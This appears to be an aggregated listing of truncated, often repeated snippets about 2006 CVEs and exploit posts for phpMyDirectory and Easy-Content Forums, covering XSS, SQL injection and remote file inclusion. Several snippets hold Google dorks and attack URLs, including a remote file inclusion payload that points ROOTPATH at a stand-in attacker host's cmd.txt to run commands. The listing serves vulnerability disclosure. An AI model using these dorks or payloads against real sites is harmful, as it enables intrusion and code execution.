CVE-2006-4755

The CVE-2006-4755 entry describes a Cross-site Scripting (XSS) vulnerability in phpMyDirectory 10.4.6 and earlier, exploitable via the letter parameter in alpha.php. The issue allows remote attackers to inject arbitrary web script or HTML. Documents indicate no explicit remediation steps or patch...

CVE-2006-4756

CVE-2006-4756 describes an SQL injection vulnerability in the PHPMyDirectory product, specifically in alpha.php. The affected versions are 10.4.6 and earlier. The flaw allows remote attackers to execute arbitrary SQL commands by manipulating the letter parameter. The description notes the provena...

CVE-2006-4756: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in alpha.php in phpMyDirectory 10.4.6 and earlier allows remote attackers to execute arbitrary SQL commands via the letter parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-4755: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in alpha.php in phpMyDirectory 10.4.6 and earlier allows remote attackers to inject arbitrary web script or HTML via the letter parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-3138

Multiple XSS vulnerabilities affect phpMyDirectory

CVE-2006-3138: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in phpMyDirectory 10.4.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 PIC parameter in offers-pix.php, 2 from parameter in cp/index.php, and 3 action parameter in cp/adminindex.php...

Easy-Content Forums 1.0 Multiple [SQL/XSS] Vulnerabilities

ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECTON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEXT...

Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities

ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECTON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEXT...

Easy-Content Forums 1.0 - Multiple SQL Injection Cross-Site Scripting Vulnerabilities

Easy-Content Forums 1.0 - Multiple SQL Injection Cross-Site Scripting Vulnerabilities ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECT.ON--------------------------------------------------------...

Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities

ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECT.ON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEXT...

phpMyDirectory <= 10.4.4 Multiple Remote File Include(new!)

ENGLISH Title : phpMyDirectory = 10.4.4 Multiple Remote File Include Vulnerabilities Dork : "powered by phpmydirectory" Author : ajann greetz : Nukedx,TheHacker Exploit; http://target/path/template/default/footer.php?ROOTPATH=http://yourhost.com/cmd.txt?cmd=ls...

phpmydir1044.txt

ENGLISH Title : phpMyDirectory = 10.4.4 Multiple Remote File Include Vulnerabilities Dork : "powered by phpmydirectory" Author : ajann greetz : Nukedx,TheHacker Exploit; http://target/path/template/default/footer.php?ROOTPATH=http://yourhost.com/cmd.txt?cmd=ls...

Remote file inclusion

PHP remote file inclusion vulnerability in cron.php in phpMyDirectory 10.4.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

CVE-2006-2521

PHP remote file inclusion vulnerability in cron.php in phpMyDirectory 10.4.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

CVE-2006-2521

PHP remote file inclusion vulnerability in cron.php in phpMyDirectory 10.4.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

CVE-2006-2521

PHP remote file inclusion vulnerability CVE-2006-2521 affects phpMyDirectory 10.4.4 and earlier. The flaw is in cron.php where ROOT_PATH is used to include a URL, enabling remote execution of arbitrary PHP code. Exploitation specifics and remediation steps are not provided in the connected docume...

CVE-2006-2521: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in cron.php in phpMyDirectory 10.4.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

phpMyDirectory 10.4.4 - ROOT_PATH Remote File Inclusion

phpMyDirectory 10.4.4 - ROOTPATH Remote File Inclusion Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com -...

phpMyDirectory <= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== phpMyDirectory = 10.4.4 ROOTPATH Remote Inclusion Vulnerability =================================================================== Title : phpMyDirectory = 10.4.4 Remote...

phpMyDirectory &lt;= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability

No description provided by source. Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen,...